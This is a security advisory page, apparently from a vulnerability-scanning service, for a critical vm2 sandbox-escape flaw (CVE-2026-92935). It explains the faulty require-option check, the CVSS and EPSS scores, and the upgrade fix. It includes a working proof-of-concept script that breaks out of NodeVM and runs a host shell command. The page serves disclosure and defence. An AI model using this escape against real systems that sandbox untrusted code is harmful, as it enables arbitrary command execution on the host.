Skip to main content

CVE-2026-92935 — Vulnerability in vm2 — CVE Details

CRITICAL

vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE

Published October 1, 2026Updated October 1, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.67%). Schedule for your next planned update.

Does your project use an affected vm2 version?

Paste your package-lock.json to check it for CVE-2026-92935 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my package-lock.json

Summary

Summary

The NodeVM constructor computes hasRealRequireConfig using typeof requireOpts === 'object' && requireOpts !== null, so require: [] bypasses the guard intended to reject nesting without an explicit require configuration. makeResolverFromLegacyOptions() then destructures the array to undefined option fields and returns a resolver containing only NESTING_OVERRIDE.vm2. Any attacker whose JavaScript is executed by a downstream NodeVM configured with {nesting: true, require: []} can load the host vm2 module, create an inner NodeVM with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in makeResolverFromLegacyOptions().

Array is converted into the vm2-only resolver: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226

Nesting loader returns the host VM constructors: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645

Proof of Concept

Preconditions:

  • The host creates NodeVM with truthy nesting and array-shaped require.
  • The attacker can supply JavaScript executed by that NodeVM.
'use strict';

const {NodeVM} = require('./index.js');

const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
	const {NodeVM} = require('vm2');
	const inner = new NodeVM({require: {builtin: ['child_process']}});
	module.exports = inner.run(
		"module.exports = require('child_process').execSync('id').toString()"
	);
`);

console.log(result);
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)

The hasRealRequireConfig guard fails open because it returns true for arrays, although arrays are not VMRequire configuration objects. makeResolverFromLegacyOptions() applies object destructuring to the array, obtains undefined builtin and external values, merges NESTING_OVERRIDE, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner NodeVM, whose require configuration is selected inside the sandbox.

Failed shape check: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307

Impact

An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped require values and incorrectly identifies 3.11.4 as patched.

Exploitation is limited to downstream applications that enable nesting and pass the malformed array configuration.

Advisory Timeline

  • First published October 1, 2026 (56 days ago).
  • Last revised October 1, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.7 or later
npm install vm2@3.11.7

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageFixed In
vm2 npm · Affected: All versions3.11.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-92935?
vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.0/10).
How do I check if my project is affected by CVE-2026-92935?
CVE-2026-92935 affects vm2. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-92935 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.0

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
0.67%
EPSS percentile: 47.1

This is a below-median EPSS score — only 47.1% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-8hr7-r645-pc6w

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my package-lock.json